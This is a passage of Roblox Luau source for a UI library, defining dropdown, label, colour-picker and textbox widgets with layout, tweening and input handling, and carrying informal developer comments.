Enum.EasingStyle.Quad, 0.2)
            end
        end)

        if cfg.seperator then
            library:create( "Frame" , {
                AnchorPoint = vec2(0, 1);
                Parent = self.items[ "elements" ];
                Position = dim2(0, 0, 1, 0);
                BorderColor3 = rgb(0, 0, 0);
                Size = dim2(1, 1, 0, 1);
                BorderSizePixel = 0;
                BackgroundColor3 = rgb(36, 36, 37)
            });
        end

        cfg.set(cfg.default)
        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:dropdown(options)
        local cfg = {
            name = options.name or nil;
            info = options.info or nil;
            flag = options.flag or library:next_flag();
            options = options.items or {""};
            callback = options.callback or function() end;
            multi = options.multi or false;
            scrolling = options.scrolling or false;

            width = options.width or 130;

            -- Ignore these
            open = false;
```

```
    option_instances = {};
    multi_items = {};
    ignore = options.ignore or false;
    items = {};
    y_size;
    seperator = options.seperator or options.Seperator or false;
}

cfg.default = options.default or (cfg.multi and {cfg.items[1]}) or cfg.items[1] or "None"
flags[cfg.flag] = cfg.default

local items = cfg.items; do
    -- Element
        items[ "dropdown_object" ] = library:create( "TextButton" , {
            FontFace = fonts.small;
            TextColor3 = rgb(0, 0, 0);
            BorderColor3 = rgb(0, 0, 0);
            Text = "";
            Parent = self.items[ "elements" ];
            Name = "\0";
            BackgroundTransparency = 1;
            Size = dim2(1, 0, 0, 0);
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.Y;
            TextSize = 14;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        items[ "name" ] = library:create( "TextLabel" , {
            FontFace = fonts.small;
            TextColor3 = rgb(245, 245, 245);
            BorderColor3 = rgb(0, 0, 0);
            Text = cfg.name;
            Parent = items[ "dropdown_object" ];
            Name = "\0";
            Size = dim2(1, 0, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });

        if cfg.info then
            items[ "info" ] = library:create( "TextLabel" , {
                FontFace = fonts.small;
                TextColor3 = rgb(130, 130, 130);
                BorderColor3 = rgb(0, 0, 0);
                TextWrapped = true;
                Text = cfg.info;
                Parent = items[ "dropdown_object" ];
                Name = "\0";
                Position = dim2(0, 5, 0, 17);
```

```
        Size = dim2(1, -10, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        BackgroundColor3 = rgb(255, 255, 255)
    });
end

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "dropdown_object" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(0, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    FillDirection = Enum.FillDirection.Horizontal;
    HorizontalAlignment = Enum.HorizontalAlignment.Right;
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder
});

items[ "dropdown" ] = library:create( "TextButton" , {
    FontFace = fonts.small;
    TextColor3 = rgb(0, 0, 0);
    BorderColor3 = rgb(0, 0, 0);
    Text = "";
    AutoButtonColor = false;
    AnchorPoint = vec2(1, 0);
    Parent = items[ "right_components" ];
    Name = "\0";
    Position = dim2(1, 0, 0, 0);
    Size = dim2(0, cfg.width, 0, 16);
    BorderSizePixel = 0;
    TextSize = 14;
    BackgroundColor3 = rgb(33, 33, 35)
});

library:create( "UICorner" , {
    Parent = items[ "dropdown" ];
    CornerRadius = dim(0, 4)
});
```

```
    items[ "sub_text" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(86, 86, 87);
        BorderColor3 = rgb(0, 0, 0);
        Text = "awdawdawdawdawdawdawdaw";
        Parent = items[ "dropdown" ];
        Name = "\0";
        Size = dim2(1, -12, 0, 0);
        BorderSizePixel = 0;
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        TextTruncate = Enum.TextTruncate.AtEnd;
        AutomaticSize = Enum.AutomaticSize.Y;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIPadding" , {
        Parent = items[ "sub_text" ];
        PaddingTop = dim(0, 1);
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });

    items[ "indicator" ] = library:create( "ImageLabel" , {
        ImageColor3 = rgb(86, 86, 87);
        BorderColor3 = rgb(0, 0, 0);
        Parent = items[ "dropdown" ];
        AnchorPoint = vec2(1, 0.5);
        Image = "rbxassetid://101025591575185";
        BackgroundTransparency = 1;
        Position = dim2(1, -5, 0.5, 0);
        Name = "\0";
        Size = dim2(0, 12, 0, 12);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });
--

-- Element Holder
    items[ "dropdown_holder" ] = library:create( "Frame" , {
        BorderColor3 = rgb(0, 0, 0);
        Parent = library[ "items" ];
        Name = "\0";
        Visible = true;
        BackgroundTransparency = 1;
        Size = dim2(0, 0, 0, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(0, 0, 0);
        ZIndex = 10;
    });

    items[ "outline" ] = library:create( "Frame" , {
```

```
            Parent = items[ "dropdown_holder" ];
            Size = dim2(1, 0, 1, 0);
            ClipsDescendants = true;
            BorderColor3 = rgb(0, 0, 0);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(33, 33, 35);
            ZIndex = 10;
        });

        library:create( "UIPadding" , {
            PaddingBottom = dim(0, 6);
            PaddingTop = dim(0, 3);
            PaddingLeft = dim(0, 3);
            Parent = items[ "outline" ]
        });

        library:create( "UIListLayout" , {
            Parent = items[ "outline" ];
            Padding = dim(0, 5);
            SortOrder = Enum.SortOrder.LayoutOrder
        });

        library:create( "UICorner" , {
            Parent = items[ "outline" ];
            CornerRadius = dim(0, 4)
        });
    --
end

function cfg.render_option(text)
    local button = library:create( "TextButton" , {
        FontFace = fonts.small;
        TextColor3 = rgb(72, 72, 73);
        BorderColor3 = rgb(0, 0, 0);
        Text = text;
        Parent = items[ "outline" ];
        Name = "\0";
        Size = dim2(1, -12, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.Y;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255);
        ZIndex = 10;
    }); library:apply_theme(button, "accent", "TextColor3");

    library:create( "UIPadding" , {
        Parent = button;
        PaddingTop = dim(0, 1);
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });
```

```
        return button
    end

    function cfg.set_visible(bool)
        local a = bool and cfg.y_size or 0
        library:tween(items[ "dropdown_holder" ], {Size =
dim_offset(items[ "dropdown" ].AbsoluteSize.X, a)})

        items[ "dropdown_holder" ].Position = dim2(0,
items[ "dropdown" ].AbsolutePosition.X, 0, items[ "dropdown" ].AbsolutePosition.Y + 80)
        if not (self.sanity and library.current_open == self) then
            library:close_element(cfg)
        end
    end

    function cfg.set(value)
        local selected = {}
        local isTable = type(value) == "table"

        for _, option in cfg.option_instances do
            if option.Text == value or (isTable and find(value, option.Text)) then
                insert(selected, option.Text)
                cfg.multi_items = selected
                option.TextColor3 = themes.preset.accent
            else
                option.TextColor3 = rgb(72, 72, 73)
            end
        end

        items[ "sub_text" ].Text = isTable and concat(selected, ", ") or selected[1] or ""
        flags[cfg.flag] = isTable and selected or selected[1]

        cfg.callback(flags[cfg.flag])
    end

    function cfg.changetext(text)
        items[ "name" ].Text = text
    end

    function cfg.refresh_options(list)
        cfg.y_size = 0

        for _, option in cfg.option_instances do
            option:Destroy()
        end

        cfg.option_instances = {}

        for _, option in list do
            local button = cfg.render_option(option)
            cfg.y_size += button.AbsoluteSize.Y + 6 -- super annoying manual sizing but oh
well
            insert(cfg.option_instances, button)
```

```
            button.MouseButton1Down:Connect(function()
                if cfg.multi then
                    local selected_index = find(cfg.multi_items, button.Text)

                    if selected_index then
                        remove(cfg.multi_items, selected_index)
                    else
                        insert(cfg.multi_items, button.Text)
                    end

                    cfg.set(cfg.multi_items)
                else
                    cfg.set_visible(false)
                    cfg.open = false

                    cfg.set(button.Text)
                end
            end)
        end
    end

    items[ "dropdown" ].MouseButton1Click:Connect(function()
        cfg.open = not cfg.open

        cfg.set_visible(cfg.open)
    end)

    if cfg.seperator then
        library:create( "Frame" , {
            AnchorPoint = vec2(0, 1);
            Parent = self.items[ "elements" ];
            Position = dim2(0, 0, 1, 0);
            BorderColor3 = rgb(0, 0, 0);
            Size = dim2(1, 1, 0, 1);
            BorderSizePixel = 0;
            BackgroundColor3 = rgb(36, 36, 37)
        });
    end

    flags[cfg.flag] = {}
    config_flags[cfg.flag] = cfg.set

    cfg.refresh_options(cfg.options)
    cfg.set(cfg.default)

    return setmetatable(cfg, library)
end

function library:label(options)
    local cfg = {
        enabled = options.enabled or nil,
        name = options.name or "Toggle",
        wrapped = options.wrapped or false,
        seperator = options.seperator or options.Seperator or false;
```

```
    info = options.info or nil;

    items = {};
}

local items = cfg.items; do
    items[ "label" ] = library:create( "TextButton" , {
        FontFace = fonts.small;
        TextColor3 = rgb(0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Text = "";
        Parent = self.items[ "elements" ];
        Name = "\0";
        BackgroundTransparency = 1;
        Size = dim2(1, 0, 0, 0);
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.Y;
        TextSize = 14;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    items[ "name" ] = library:create( "TextLabel" , {
        FontFace = fonts.small;
        TextColor3 = rgb(245, 245, 245);
        BorderColor3 = rgb(0, 0, 0);
        Text = cfg.name;
        TextWrapped = cfg.wrapped,
        Parent = items[ "label" ];
        Name = "\0";
        Size = dim2(1, 0, 0, 0);
        BackgroundTransparency = 1;
        TextXAlignment = Enum.TextXAlignment.Left;
        BorderSizePixel = 0;
        AutomaticSize = Enum.AutomaticSize.XY;
        TextSize = 16;
        RichText = true,
        BackgroundColor3 = rgb(255, 255, 255)
    });

    if cfg.info then
        items[ "info" ] = library:create( "TextLabel" , {
            FontFace = fonts.small;
            TextColor3 = rgb(130, 130, 130);
            BorderColor3 = rgb(0, 0, 0);
            TextWrapped = true;
            Text = cfg.info;
            Parent = items[ "label" ];
            Name = "\0";
            Position = dim2(0, 5, 0, 17);
            Size = dim2(1, -10, 0, 0);
            BackgroundTransparency = 1;
            TextXAlignment = Enum.TextXAlignment.Left;
            BorderSizePixel = 0;
            AutomaticSize = Enum.AutomaticSize.XY;
```

```
            TextSize = 16;
            BackgroundColor3 = rgb(255, 255, 255)
        });
    end

    library:create( "UIPadding" , {
        Parent = items[ "name" ];
        PaddingRight = dim(0, 5);
        PaddingLeft = dim(0, 5)
    });

    items[ "right_components" ] = library:create( "Frame" , {
        Parent = items[ "label" ];
        Name = "\0";
        Position = dim2(1, 0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(0, 0, 1, 0);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(255, 255, 255)
    });

    library:create( "UIListLayout" , {
        FillDirection = Enum.FillDirection.Horizontal;
        HorizontalAlignment = Enum.HorizontalAlignment.Right;
        Parent = items[ "right_components" ];
        Padding = dim(0, 9);
        SortOrder = Enum.SortOrder.LayoutOrder
    });
end

if cfg.seperator then
    library:create( "Frame" , {
        AnchorPoint = vec2(0, 1);
        Parent = self.items[ "elements" ];
        Position = dim2(0, 0, 1, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(36, 36, 37)
    });
end

function cfg.set(text)
    items[ "name" ].Text = text
end

return setmetatable(cfg, library)
end

function library:colorpicker(options)
    local cfg = {
        name = options.name or "Color",
        flag = options.flag or library:next_flag(),
```

```
        color = options.color or color(1, 1, 1), -- Default to white color if not provided
        alpha = options.alpha and 1 - options.alpha or 0,

        open = false,
        callback = options.callback or function() end,
        items = {};

        seperator = options.seperator or options.Seperator or false;
    }

    local dragging_sat = false
    local dragging_hue = false
    local dragging_alpha = false

    local h, s, v = cfg.color:ToHSV()
    local a = cfg.alpha

    flags[cfg.flag] = {Color = cfg.color, Transparency = cfg.alpha}

    local label;
    if not self.items.right_components then
        label = self:label({name = cfg.name, seperator = cfg.seperator})
    end

    local items = cfg.items; do
        -- Component
            items[ "colorpicker" ] = library:create( "TextButton" , {
                FontFace = fonts.small;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                AutoButtonColor = false;
                AnchorPoint = vec2(1, 0);
                Parent = label and label.items.right_components or
self.items[ "right_components" ];
                Name = "\0";
                Position = dim2(1, 0, 0, 0);
                Size = dim2(0, 16, 0, 16);
                BorderSizePixel = 0;
                TextSize = 14;
                BackgroundColor3 = rgb(54, 31, 184)
            });

            library:create( "UICorner" , {
                Parent = items[ "colorpicker" ];
                CornerRadius = dim(0, 4)
            });

            items[ "colorpicker_inline" ] = library:create( "Frame" , {
                Parent = items[ "colorpicker" ];
                Size = dim2(1, -2, 1, -2);
                Name = "\0";
                BorderMode = Enum.BorderMode.Inset;
                BorderColor3 = rgb(0, 0, 0);
```

```
        Position = dim2(0, 1, 0, 1);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(54, 31, 184)
    });

    library:create( "UICorner" , {
        Parent = items[ "colorpicker_inline" ];
        CornerRadius = dim(0, 4)
    });

    library:create( "UIGradient" , {
        Color = rgbseq{rgbkey(0, rgb(211, 211, 211)), rgbkey(1, rgb(211, 211, 211))};
        Parent = items[ "colorpicker_inline" ]
    });
--

-- Colorpicker
    items[ "colorpicker_holder" ] = library:create( "Frame" , {
        Parent = library[ "other" ];
        Name = "\0";
        Position = dim2(0.20000000298023224, 20, 0.296999990940094, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(0, 166, 0, 197);
        BorderSizePixel = 0;
        Visible = true;
        BackgroundColor3 = rgb(25, 25, 29)
    });

    items[ "colorpicker_fade" ] = library:create( "Frame" , {
        Parent = items[ "colorpicker_holder" ];
        Name = "\0";
        BackgroundTransparency = 0;
        Position = dim2(0, 0, 0, 0);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, 0, 1, 0);
        BorderSizePixel = 0;
        ZIndex = 100;
        BackgroundColor3 = rgb(25, 25, 29)
    });

    items[ "colorpicker_components" ] = library:create( "Frame" , {
        Parent = items[ "colorpicker_holder" ];
        Name = "\0";
        Position = dim2(0, 1, 0, 1);
        BorderColor3 = rgb(0, 0, 0);
        Size = dim2(1, -2, 1, -2);
        BorderSizePixel = 0;
        BackgroundColor3 = rgb(22, 22, 24)
    });

    library:create( "UICorner" , {
        Parent = items[ "colorpicker_components" ];
        CornerRadius = dim(0, 6)
    });
```

```
items[ "saturation_holder" ] = library:create( "Frame" , {
    Parent = items[ "colorpicker_components" ];
    Name = "\0";
    Position = dim2(0, 7, 0, 7);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -14, 1, -80);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 39, 39)
});

items[ "sat" ] = library:create( "TextButton" , {
    Parent = items[ "saturation_holder" ];
    Name = "\0";
    Size = dim2(1, 0, 1, 0);
    Text = "";
    AutoButtonColor = false;
    BorderColor3 = rgb(0, 0, 0);
    ZIndex = 2;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UICorner" , {
    Parent = items[ "sat" ];
    CornerRadius = dim(0, 4)
});

library:create( "UIGradient" , {
    Rotation = 270;
    Transparency = numseq{numkey(0, 0), numkey(1, 1)};
    Parent = items[ "sat" ];
    Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(0, 0, 0))}
});

items[ "val" ] = library:create( "Frame" , {
    Name = "\0";
    Parent = items[ "saturation_holder" ];
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 1, 0);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIGradient" , {
    Parent = items[ "val" ];
    Transparency = numseq{numkey(0, 0), numkey(1, 1)}
});

library:create( "UICorner" , {
    Parent = items[ "val" ];
    CornerRadius = dim(0, 4)
});
```

```
library:create( "UICorner" , {
    Parent = items[ "saturation_holder" ];
    CornerRadius = dim(0, 4)
});

items[ "satvalpicker" ] = library:create( "TextButton" , {
    BorderColor3 = rgb(0, 0, 0);
    AutoButtonColor = false;
    Text = "";
    AnchorPoint = vec2(0, 1);
    Parent = items[ "saturation_holder" ];
    Name = "\0";
    Position = dim2(0, 0, 4, 0);
    Size = dim2(0, 8, 0, 8);
    ZIndex = 5;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 0, 0)
});

library:create( "UICorner" , {
    Parent = items[ "satvalpicker" ];
    CornerRadius = dim(0, 9999)
});

library:create( "UIStroke" , {
    Color = rgb(255, 255, 255);
    Parent = items[ "satvalpicker" ];
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
});

items[ "hue_gradient" ] = library:create( "TextButton" , {
    Parent = items[ "colorpicker_components" ];
    Name = "\0";
    Position = dim2(0, 10, 1, -64);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -20, 0, 8);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255);
    AutoButtonColor = false;
    Text = "";
});

library:create( "UIGradient" , {
    Color = rgbseq{rgbkey(0, rgb(255, 0, 0)), rgbkey(0.17, rgb(255, 255, 0)),
rgbkey(0.33, rgb(0, 255, 0)), rgbkey(0.5, rgb(0, 255, 255)), rgbkey(0.67, rgb(0, 0, 255)),
rgbkey(0.83, rgb(255, 0, 255)), rgbkey(1, rgb(255, 0, 0))};
    Parent = items[ "hue_gradient" ]
});

library:create( "UICorner" , {
    Parent = items[ "hue_gradient" ];
    CornerRadius = dim(0, 6)
});
```

```
items[ "hue_picker" ] = library:create( "TextButton" , {
    BorderColor3 = rgb(0, 0, 0);
    AutoButtonColor = false;
    Text = "";
    AnchorPoint = vec2(0, 0.5);
    Parent = items[ "hue_gradient" ];
    Name = "\0";
    Position = dim2(0, 0, 0.5, 0);
    Size = dim2(0, 8, 0, 8);
    ZIndex = 5;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 0, 0)
});

library:create( "UICorner" , {
    Parent = items[ "hue_picker" ];
    CornerRadius = dim(0, 9999)
});

library:create( "UIStroke" , {
    Color = rgb(255, 255, 255);
    Parent = items[ "hue_picker" ];
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
});

items[ "alpha_gradient" ] = library:create( "TextButton" , {
    Parent = items[ "colorpicker_components" ];
    Name = "\0";
    Position = dim2(0, 10, 1, -46);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, -20, 0, 8);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(25, 25, 29);
    AutoButtonColor = false;
    Text = "";
});

library:create( "UICorner" , {
    Parent = items[ "alpha_gradient" ];
    CornerRadius = dim(0, 6)
});

items[ "alpha_picker" ] = library:create( "TextButton" , {
    BorderColor3 = rgb(0, 0, 0);
    AutoButtonColor = false;
    Text = "";
    AnchorPoint = vec2(0, 0.5);
    Parent = items[ "alpha_gradient" ];
    Name = "\0";
    Position = dim2(1, 0, 0.5, 0);
    Size = dim2(0, 8, 0, 8);
    ZIndex = 5;
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 0, 0)
```

```
});

library:create( "UICorner" , {
    Parent = items[ "alpha_picker" ];
    CornerRadius = dim(0, 9999)
});

library:create( "UIStroke" , {
    Color = rgb(255, 255, 255);
    ApplyStrokeMode = Enum.ApplyStrokeMode.Border;
    Parent = items[ "alpha_picker" ]
});

library:create( "UIGradient" , {
    Color = rgbseq{rgbkey(0, rgb(0, 0, 0)), rgbkey(1, rgb(255, 255, 255))};
    Parent = items[ "alpha_gradient" ]
});

items[ "alpha_indicator" ] = library:create( "ImageLabel" , {
    ScaleType = Enum.ScaleType.Tile;
    BorderColor3 = rgb(0, 0, 0);
    Parent = items[ "alpha_gradient" ];
    Image = "rbxassetid://18274452449";
    BackgroundTransparency = 1;
    Name = "\0";
    Size = dim2(1, 0, 1, 0);
    TileSize = dim2(0, 6, 0, 6);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(0, 0, 0)
});

library:create( "UIGradient" , {
    Color = rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, rgb(255, 0, 0))};
    Transparency = numseq{numkey(0, 0.8062499761581421), numkey(1, 0)};
    Parent = items[ "alpha_indicator" ]
});

library:create( "UICorner" , {
    Parent = items[ "alpha_indicator" ];
    CornerRadius = dim(0, 6)
});

library:create( "UIGradient" , {
    Rotation = 90;
    Parent = items[ "colorpicker_components" ];
    Color = rgbseq{rgbkey(0, rgb(255, 255, 255)), rgbkey(1, rgb(66, 66, 66))}
});

items[ "input" ] = library:create( "TextBox" , {
    FontFace = fonts.font;
    AnchorPoint = vec2(1, 1);
    Text = "";
    Parent = items[ "colorpicker_components" ];
    Name = "\0";
```

```
                TextTruncate = Enum.TextTruncate.AtEnd;
                BorderSizePixel = 0;
                PlaceholderColor3 = rgb(255, 255, 255);
                CursorPosition = -1;
                ClearTextOnFocus = false;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255);
                TextColor3 = rgb(72, 72, 72);
                BorderColor3 = rgb(0, 0, 0);
                Position = dim2(1, -8, 1, -11);
                Size = dim2(1, -16, 0, 18);
                BackgroundColor3 = rgb(33, 33, 35)
            });

            library:create( "UICorner" , {
                Parent = items[ "input" ];
                CornerRadius = dim(0, 3)
            });

            items[ "UICorenr" ] = library:create( "UICorner" , { -- fire misstypo (im not fixing this
RAWR)
                Parent = items[ "colorpicker_holder" ];
                Name = "\0";
                CornerRadius = dim(0, 4)
            });
        --
    end;

    function cfg.set_visible(bool)
        items[ "colorpicker_fade" ].BackgroundTransparency = 0
        items[ "colorpicker_holder" ].Parent = bool and library[ "items" ] or library[ "other" ]
        items[ "colorpicker_holder" ].Position =
dim_offset(items[ "colorpicker" ].AbsolutePosition.X, items[ "colorpicker" ].AbsolutePosition.Y +
items[ "colorpicker" ].AbsoluteSize.Y + 45)

        library:tween(items[ "colorpicker_fade" ], {BackgroundTransparency = 1},
Enum.EasingStyle.Quad, 0.4)
        library:tween(items[ "colorpicker_holder" ], {Position =
items[ "colorpicker_holder" ].Position + dim_offset(0, 20)}) -- p100 check

        if not (self.sanity and library.current_open == self and self.open) then
            library:close_element(cfg)
        end
    end

    function cfg.set(color, alpha)
        if type(color) == "boolean" then
            return
        end

        if color then
            h, s, v = color:ToHSV()
        end
```

```
            if alpha then
                a = alpha
            end

            local Color = hsv(h, s, v)

            -- Ok so quick story, should I cache any of this? no...?? anyways I know this code is
very bad but its your fault for buying a ui with animations (on a serious note im too lazy to make
this look nice)
            -- Also further note, yeah I kind of did this scale_factor * size-valuesize.plane
because then I would have to do tomfoolery to make it clip properly.
            library:tween(items[ "hue_picker" ], {Position = dim2(0,
(items[ "hue_gradient" ].AbsoluteSize.X - items[ "hue_picker" ].AbsoluteSize.X) * h, 0.5, 0)},
Enum.EasingStyle.Linear, 0.05)
            library:tween(items[ "alpha_picker" ], {Position = dim2(0,
(items[ "alpha_gradient" ].AbsoluteSize.X - items[ "alpha_picker" ].AbsoluteSize.X) * (1 - a), 0.5,
0)}, Enum.EasingStyle.Linear, 0.05)
            library:tween(items[ "satvalpicker" ], {Position = dim2(0, s *
(items[ "saturation_holder" ].AbsoluteSize.X - items[ "satvalpicker" ].AbsoluteSize.X), 1, 1 - v *
(items[ "saturation_holder" ].AbsoluteSize.Y - items[ "satvalpicker" ].AbsoluteSize.Y))},
Enum.EasingStyle.Linear, 0.05)

            items[ "alpha_indicator" ]:FindFirstChildOfClass("UIGradient").Color =
rgbseq{rgbkey(0, rgb(112, 112, 112)), rgbkey(1, hsv(h, 1, 1))}; -- shit code

            items[ "colorpicker" ].BackgroundColor3 = Color
            items[ "colorpicker_inline" ].BackgroundColor3 = Color
            items[ "saturation_holder" ].BackgroundColor3 = hsv(h, 1, 1)

            items[ "hue_picker" ].BackgroundColor3 = hsv(h, 1, 1)
            items[ "alpha_picker" ].BackgroundColor3 = hsv(h, 1, 1 - a)
            items[ "satvalpicker" ].BackgroundColor3 = hsv(h, s, v)

            flags[cfg.flag] = {
                Color = Color;
                Transparency = a
            }

            local color = items[ "colorpicker" ].BackgroundColor3
            items[ "input" ].Text = string.format("%s, %s, %s, ", library:round(color.R * 255),
library:round(color.G * 255), library:round(color.B * 255))
            items[ "input" ].Text ..= library:round(1 - a, 0.01)

            cfg.callback(Color, a)
        end

        function cfg.update_color()
            local mouse = uis:GetMouseLocation()
            local offset = vec2(mouse.X, mouse.Y - gui_offset)

            if dragging_sat then
                s = math.clamp((offset - items["sat"].AbsolutePosition).X /
items["sat"].AbsoluteSize.X, 0, 1)
```

```
                v = 1 - math.clamp((offset - items["sat"].AbsolutePosition).Y /
items["sat"].AbsoluteSize.Y, 0, 1)
            elseif dragging_hue then
                h = math.clamp((offset - items[ "hue_gradient" ].AbsolutePosition).X /
items[ "hue_gradient" ].AbsoluteSize.X, 0, 1)
            elseif dragging_alpha then
                a = 1 - math.clamp((offset - items[ "alpha_gradient" ].AbsolutePosition).X /
items[ "alpha_gradient" ].AbsoluteSize.X, 0, 1)
            end

            cfg.set()
        end

        items[ "colorpicker" ].MouseButton1Click:Connect(function()
            cfg.open = not cfg.open

            cfg.set_visible(cfg.open)
        end)

        uis.InputChanged:Connect(function(input)
            if (dragging_sat or dragging_hue or dragging_alpha) and input.UserInputType ==
Enum.UserInputType.MouseMovement then
                cfg.update_color()
            end
        end)

        library:connection(uis.InputEnded, function(input)
            if input.UserInputType == Enum.UserInputType.MouseButton1 then
                dragging_sat = false
                dragging_hue = false
                dragging_alpha = false
            end
        end)

        items[ "alpha_gradient" ].MouseButton1Down:Connect(function()
            dragging_alpha = true
        end)

        items[ "hue_gradient" ].MouseButton1Down:Connect(function()
            dragging_hue = true
        end)

        items[ "sat" ].MouseButton1Down:Connect(function()
            dragging_sat = true
        end)

        items[ "input" ].FocusLost:Connect(function()
            local text = items[ "input" ].Text
            local r, g, b, a = library:convert(text)

            if r and g and b and a then
                cfg.set(rgb(r, g, b), 1 - a)
            end
        end)
```

```
        items[ "input" ].Focused:Connect(function()
            library:tween(items[ "input" ], {TextColor3 = rgb(245, 245, 245)})
        end)

        items[ "input" ].FocusLost:Connect(function()
            library:tween(items[ "input" ], {TextColor3 = rgb(72, 72, 72)})
        end)

        cfg.set(cfg.color, cfg.alpha)
        config_flags[cfg.flag] = cfg.set

        return setmetatable(cfg, library)
    end

    function library:textbox(options)
        local cfg = {
            name = options.name or "TextBox",
            placeholder = options.placeholder or options.placeholdertext or options.holder or
options.holdertext or "type here...",
            default = options.default or "",
            flag = options.flag or library:next_flag(),
            callback = options.callback or function() end,
            visible = options.visible or true,
            items = {};
        }

        flags[cfg.flag] = cfg.default

        local items = cfg.items; do
            items[ "textbox" ] = library:create( "TextButton" , {
                LayoutOrder = -1;
                FontFace = fonts.font;
                TextColor3 = rgb(0, 0, 0);
                BorderColor3 = rgb(0, 0, 0);
                Text = "";
                Parent = self.items[ "elements" ];
                Name = "\0";
                BackgroundTransparency = 1;
                Size = dim2(1, 0, 0, 0);
                BorderSizePixel = 0;
                AutomaticSize = Enum.AutomaticSize.Y;
                TextSize = 14;
                BackgroundColor3 = rgb(255, 255, 255)
            });

            items[ "name" ] = library:create( "TextLabel" , {
                FontFace = fonts.font;
                TextColor3 = rgb(245, 245, 245);
                BorderColor3 = rgb(0, 0, 0);
                Text = cfg.name;
                Parent = items[ "textbox" ];
                Name = "\0";
                Size = dim2(1, 0, 0, 0);
```

```
    BackgroundTransparency = 1;
    TextXAlignment = Enum.TextXAlignment.Left;
    BorderSizePixel = 0;
    AutomaticSize = Enum.AutomaticSize.XY;
    TextSize = 16;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIPadding" , {
    Parent = items[ "name" ];
    PaddingRight = dim(0, 5);
    PaddingLeft = dim(0, 5)
});

items[ "right_components" ] = library:create( "Frame" , {
    Parent = items[ "textbox" ];
    Name = "\0";
    BackgroundTransparency = 1;
    Position = dim2(0, 4, 0, 19);
    BorderColor3 = rgb(0, 0, 0);
    Size = dim2(1, 0, 0, 12);
    BorderSizePixel = 0;
    BackgroundColor3 = rgb(255, 255, 255)
});

library:create( "UIListLayout" , {
    Parent = items[ "right_components" ];
    Padding = dim(0, 7);
    SortOrder = Enum.SortOrder.LayoutOrder;
    FillDirection = Enum.FillDirection.Horizontal
});

items[ "input" ] = library:create( "TextBox" , {
    FontFace = fonts.font;
    Text = "";
    Parent = items[ "right_components" ];
    Name = "\0";
    TextTruncate = Enum.TextTruncate.AtEnd;
    BorderSizePixel = 0;
    PlaceholderColor3 = rgb(255, 255, 255);
    CursorPosition = -1;
    ClearTextOnFocus = false;
    TextSize = 14;
    BackgroundColor3 = rgb(255, 255, 255);
    TextColor3 = rgb(72, 72, 72);
    BorderColor3 = rgb(0, 0, 0);
    Position = dim2(1, 0, 0, 0);
    Size = dim2(1, -4, 0, 30);
    BackgroundColor3 = rgb(33, 33, 35)
});

library:create( "UICorner" , {
    Parent = items[ "input" ];
    CornerRadius = dim(0, 3)
```

```
        });

        library:create( "UIPadding" , {
